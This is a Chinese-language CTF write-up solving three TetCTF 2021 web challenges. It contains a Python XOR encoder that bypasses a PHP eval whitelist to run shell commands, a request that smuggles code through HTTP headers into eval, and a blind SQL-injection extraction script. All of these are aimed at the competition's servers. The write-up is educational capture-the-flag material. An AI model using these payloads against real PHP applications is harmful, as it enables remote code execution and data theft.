TetCTF部分web题解

前言

考研回归的第一次做题

0x01 Super Calc

打开题目链接 http://139.180.155.171/?calc=(1.2-0.2)*5.1 如下所示:

题目没有什么特别的就是通过从url处可以输入不同的算式,它会进行计算然后给我们返回计算后的结果,不难看出这是个命令注入类的ctf题目。
但是当我们输入shell命令时,给我们返回了下列信息。

说明对我们的shell命令有拦截,后面尝试了很多shell命令都没成功。然后就没有带参数访问了一下,发现了源代码。

分析了一下源代码,发现了一处关键点:
1
2
3
4
5
6
7
8
<?php
......
$wl = preg_match('/^[0-9\+\-\*\/\(\)\'\.\~\^\|\&]+$/i', $_GET["calc"]);
if($wl === 0 || strlen($_GET["calc"]) > 70) {
die("Tired of calculating? Lets <a href='https://www.youtube.com/watch?v=wDe_aCyf4aE' target=_blank >relax</a> <3");
}
echo 'Result: ';
eval("echo ".eval("return ".$_GET["calc"].";").";");
我们想要执行shell命令,我们必须绕过if语句中的判断,正则表达式给出我们可以使用的字符0123456789+-*/().~^|&,并且长度不能超过70,我们可以用这些可用字符通过xor构造一个类似 http://139.180.155.171/?calc=eval($_GET[1])&1=system(ls) 这样一个payload就可以执行shell命令了。
payload如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import urllib.parse

class WebShell(object):
def __init__(self, chars, payload):
self.chars = chars
self.payload = payload
self.dic = self.shell()

def shell(self):
dic = {}
for i in range(0, len(self.chars)):
for j in range(0, len(self.chars)):
for k in range(0, len(self.chars)):
temp = self.chars[i] + self.chars[j] + self.chars[k]
result = chr(ord(self.chars[i]) ^ ord(self.chars[j]) ^ ord(self.chars[k]))
dic[temp] = result
return dic

def get_shell(self):
str1 = ''
str2 = ''
str3 = ''
for i in range(0, len(self.payload)):
for j in self.dic:
if self.dic[j] == self.payload[i]:
str1 = str1 + j[0]
str2 = str2 + j[1]
str3 = str3 + j[2]
break

result = '\'' + str1 + '\'' + '^' + '\'' + str2 + '\'' + '^' + '\'' + str3 + '\''
return result

def url_encode_shell(self):
return urllib.parse.quote(self.get_shell())

def url_decode_shell(self):
return urllib.parse.unquote(self.url_encode_shell())


if __name__ == '__main__':
chars = r"0123456789+-*/().~^|&"
payload = r"eval($_GET[1])"
webShell = WebShell(chars, payload)
result = webShell.get_shell()
print(result)
print(webShell.url_encode_shell())
print(webShell.url_decode_shell())

"""
'00040000020000'^'+8-~021)+85030'^'~~|&(&^^^^^1^)'
%2700040000020000%27%5E%27%2B8-~021%29%2B85030%27%5E%27~~%7C%26%28%26%5E%5E%5E%5E%5E1%5E%29%27
'00040000020000'^'+8-~021)+85030'^'~~|&(&^^^^^1^)'
"""
使用payload列出当前目录:
1
http://139.180.155.171/?calc=%2700040000020000%27%5E%27%2B8-~021%29%2B85030%27%5E%27~~%7C%26%28%26%5E%5E%5E%5E%5E1%5E%29%27&1=echo%20system(ls);

读取flag文件:
1
http://139.180.155.171/?calc=%2700040000020000%27%5E%27%2B8-~021%29%2B85030%27%5E%27~~%7C%26%28%26%5E%5E%5E%5E%5E1%5E%29%27&1=echo%20system(%27cat%20fl4g1sH3re.php%27);

0x02 HPNY

打开题目链接 http://139.180.155.171:8003/ 如下:

跟上一题相反,这个可以使用a-z\(\)\_\.等字符,因此我们不用构造无字符的shell直接执行shell命令即可。
方法一:
1
139.180.155.171:8003/?roll=readfile(next(array_reverse(scandir(__dir__))))

方法二:
1
2
3
4
5
6
7
8
9
10
GET /?roll=(eval(implode(getallheaders()))) HTTP/1.1
xyz: /*test
Host: 139.180.155.171:8003
User-Agent: */ eval(system('cat fl4g_here_but_can_you_get_it_hohoho.php'));/*
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
abc: test*/

首先用getallheaders()读取http标头,读取后是一个数组,然后用implode()将数组处理成字符串在拼接道eval()中执行shell命令。
方法二有四个值得注意的地方,一是xyz: /*test,二是我们在User-Agent: */ eval(system('cat fl4g_here_but_can_you_get_it_hohoho.php'));/*,三是abc: test*/,四是Acceptwebp,的后面/为什么我们要这么做呢?
xyz: /*test,User-Agent中的第一个*/,最后一个/*abc: test*/是为了注释eval()中的非代码部分,这样程序才能正常执行,第四个注意点是原来的标头是image/webp,*/*;q=0.8这样会破坏/**/的注释,因此我们将其删除和者添加成image/webp,*//*;q=0.8即可。

0x03 mysqlimit

源代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

include('dbconnect.php');

if(!isset($_GET["id"]))
{
show_source(__FILE__);
}
else
{
// filter all what i found on internet.... dunno why 。゚・(>﹏<)・゚。
if (preg_match('/union|and|or|on|cast|sys|inno|mid|substr|pad|space|if|case|exp|like|sound|produce|extract|xml|between|count|column|sleep|benchmark|\<|\>|\=/is' , $_GET['id']))
{
die('<img src="https://i.imgur.com/C42ET4u.gif" />');
}
else
{
// prevent sql injection
$id = mysqli_real_escape_string($conn, $_GET["id"]);

$query = "select * from flag_here_hihi where id=".$id;
$run_query = mysqli_query($conn,$query);

if(!$run_query) {
echo mysqli_error($conn);
}
else
{
// I'm kidding, just the name of flag, not flag :(
echo '<br>';
$res = $run_query->fetch_array()[1];
echo $res;
}
}
}
payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests

# This is what it looks like unescaped: id=1!"1+strcmp(t_fl4g_v3lue_su,BINARY 0x # We'll add chars (in hex) after that.
BASE_URL = 'http://45.77.255.164/?id=1%26%261%2bstrcmp(t_fl4g_v3lue_su,BINARY%200x'


def tryUrl(param):
url = BASE_URL + param + ')'
response = requests.post(url, allow_redirects=False)
# all the rows we found have <something>_flag
# the underscore is important since there is an HTML comment that has "flag" (with no underscore)
if b'_flag' in response.content:
return True
else:
return False


def probeNextColChar(flagHex):
lowGuessIndex = 32
highGuessIndex = 126
while lowGuessIndex < highGuessIndex:
guessIndex = lowGuessIndex + (highGuessIndex - lowGuessIndex) // 2
guessHex = hex(guessIndex)[2:]
param = flagHex + guessHex
guess = chr(guessIndex)
if tryUrl(param):
if lowGuessIndex == guessIndex:
return guess
lowGuessIndex = guessIndex
else:
highGuessIndex = guessIndex

return False


flag = ''
flagHex = ''
while True:
nextChar = probeNextColChar(flagHex)
if not nextChar:
break
flag += nextChar
print("flag so far:", flag)
flagHex += hex(ord(nextChar))[2:]

print(flag)

0x04 参考链接

https://github.com/hrca-writeups/CTF-Writeups/blob/master/2021/TetCTF%202021/HPNY.md
https://github.com/hrca-writeups/CTF-Writeups/blob/master/2021/TetCTF%202021/Super%20Calc.md
https://www.cnblogs.com/v01cano/p/11736722.html